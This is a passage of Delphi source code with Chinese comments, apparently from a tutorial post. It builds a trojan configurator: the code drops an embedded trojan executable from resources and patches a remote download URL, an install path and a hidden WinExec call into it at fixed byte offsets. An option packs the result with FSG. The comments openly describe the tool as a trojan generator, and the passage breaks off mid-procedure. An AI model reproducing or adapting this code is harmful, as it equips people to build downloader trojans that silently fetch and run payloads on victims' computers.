procedure TForm1.saveresa; //这个过程将资源中的木马端释放出来
var
Res : TResourceStream;
begin
Res:=TResourceStream.Create(Hinstance,'good1','exefile');
Res.SavetoFile(RzEdit2.Text); //将资源存到 Rzedit2 里的位置,RzEdit2里是用户给的保存地址
Res.Free; //用完记得释放内存
end;
procedure TForm1.RzButton1Click(Sender: TObject); //这是修改木马端配置的过程,是关键
var
f:File;
str:array [1..255] of char;
Each_size:array [1..2] of char;
HostName,sss,kk,hoho:String;
len,I,ii,heihei:integer; //呵呵,见笑了,我向来有乱取变量名的习惯
begin
saveresa; //释放资源,注意,前面最好加点if判断用户输入数据是否正确,我这里就不加了
sss:=RzEdit1.Text; //这个是将木马名提取出来.例如用户输入 http://www.11.com/ok.exe,这个过程将提取 ok.exe 并将值赋给变量 kk .抱歉,小弟数学差,算法烂勿笑
ii:=length(sss);
while sss[ii]<>'/' do
begin
ii:=ii-1;
end;
ii:=ii+1;
kk:=sss[ii];
while length(sss)-ii <> 0 do
begin
ii:=ii+1;
kk:=kk+sss[ii];
end;
try //这里开始正式修改木马配置,一共三个地方,你可以参考我上面给出的木马代码.
hostname:=RzEdit1.Text;
AssignFile(f,RzEdit2.Text);
Reset(f,1);
seek(f,1340); // 1340是http://木马地址/木马.exe 的位置
for i:=1 to 255 do str:=char(0);
for i:=1 to length(str) do str:=HostName;
BlockWrite(f,str,length(HostName));
Each_size[1]:=char(length(HostName));
seek(f,1321); //这个是 C:\Program Files\木马.exe 的位置
for i:=1 to 255 do str:=char(0);
for i:=1 to length(str) do str:=kk;
BlockWrite(f,str,length(kk));
Each_size[1]:=char(length(kk));
seek(f,1461); //这个是 winexec('C:\Program Files\木马.exe',SW_HIDE); 的位置
for i:=1 to 255 do str:=char(0);
for i:=1 to length(str) do str:=kk;
BlockWrite(f,str,length(kk));
Each_size[1]:=char(length(kk));
CloseFile(f);
finally
if RzRadioButton1.Checked then
begin
FSG; //使用FSG加壳,这个我也已经打进资源内?
最新评论